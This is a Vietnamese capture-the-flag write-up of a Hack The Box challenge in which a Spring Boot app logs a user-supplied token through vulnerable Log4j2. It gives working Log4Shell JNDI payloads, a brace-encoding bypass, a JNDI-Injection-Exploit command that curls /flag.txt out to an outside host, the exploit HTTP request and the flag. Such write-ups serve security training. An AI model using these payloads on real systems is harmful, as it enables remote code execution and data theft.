public ResponseEntity<String> handlerCheckIn(@RequestParam("token") String token) {
Map<String, String> json = new HashMap<String, String>();
CheckpointBot bot;
try{
UUID.fromString(token);
bot = cRepo.findByToken(token).get(0);
} catch (IllegalArgumentException exception){
log.error("Invalid token supplied: " + token);
json.put("message", "Invalid token supplied");
return new ResponseEntity<String>(gson.toJson(json),HttpStatus.UNAUTHORIZED);
}
- Người dùng có thể control được tham số
token
. Sau đó token được tìm kiếm trong list thông qua hàmfindByToken
và lấy token đầu tiên trong list. - Nếu như token không có, hoặc bị lỗi sẽ đưa
Invalid token supplied:
+token
người dùng đã nhập vào file log. Và trả về reponse ra màn hìnhInvalid token supplied
.
@GetMapping("/api/checkpointbot/sheet")
public ResponseEntity<?> download(@RequestParam("token") String token) throws Exception {
Map<String, String> json = new HashMap<String, String>();
CheckpointBot bot;
CheckInUtility checkInUtility;
try{
UUID.fromString(token);
} catch (IllegalArgumentException exception){
log.error("Invalid token supplied: " + token);
json.put("message", "Invalid token supplied");
return new ResponseEntity<String>(gson.toJson(json),HttpStatus.UNAUTHORIZED);
}
try{
bot = cRepo.findByToken(token).get(0);
} catch (Exception e){
log.error("Invalid token supplied: " + token);
json.put("message", "Invalid token supplied");
return new ResponseEntity<String>(gson.toJson(json),HttpStatus.UNAUTHORIZED);
}
- Ở
/api/checkpointbot/sheet
cũng check token nếu không nằm trong list thì sẽ ghitoken
mà người dùng nhập vào đó vào log.
File pom.xml
cho biết được chương trình đang sử dụng log4j để lưu log:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.6.1</version>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<version>2.6.1</version>
</dependency>
=> Ở đây có thể xảy ra RCE dựa vào lỗi của Log4j gần đây.
Thử test với payload đơn giản của Log4j:
${jndi:ldap://jzj0drqj.requestrepo.com/a}
- Nếu như có request DNS tới server của mình có nghĩ là đã trigger thành công.
- Nhưng sau ghi send payload trên thì HTTP status response trả về là
400
.
- Sau khi check các char có trong payload thì thấy được kí tự
{
,}
là nguyên nhân gây ra lỗi nên payload trên không thể chạy được. - Ở đây mình thử URL encode 2 kí tự trên thì bypass được và có request tới host của mình.
=> Đã trigger thành công lỗi Log4j.
Vậy bây giờ cần RCE để đọc flag vì flag nằm trong thư mục root.
Exploit
Sử dụng công cụ JNDI-Injection-Exploit tạo payload để RCE. Tiến hành tạo payload:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C 'curl -X POST @/flag.txt http://14yo1kk2.requestrepo.com' -
A [YOUR_IP]
Sẽ tạo ra 3 target để sử dụng nhưng vì mặc định trustURLCodebase=false
nên sử dụng payload dành cho trustURLCodebase is false
.
Payload
GET /api/checkpointbot/check-in?token=$%7Bjndi:rmi://[YOUR_IP]:1099/okrl6h%7D HTTP/1.1
Host: localhost:1337
Connection: close
Có thể send payload ở /api/checkpointbot/check-in
hoặc /api/checkpointbot/sheet
vì cả 2 đều xảy ra lỗi Log4j.
Flag : HTB{l0g4j2_g4dg3t_ch4in_55t1_f0r_fun}
Written by taidh & son.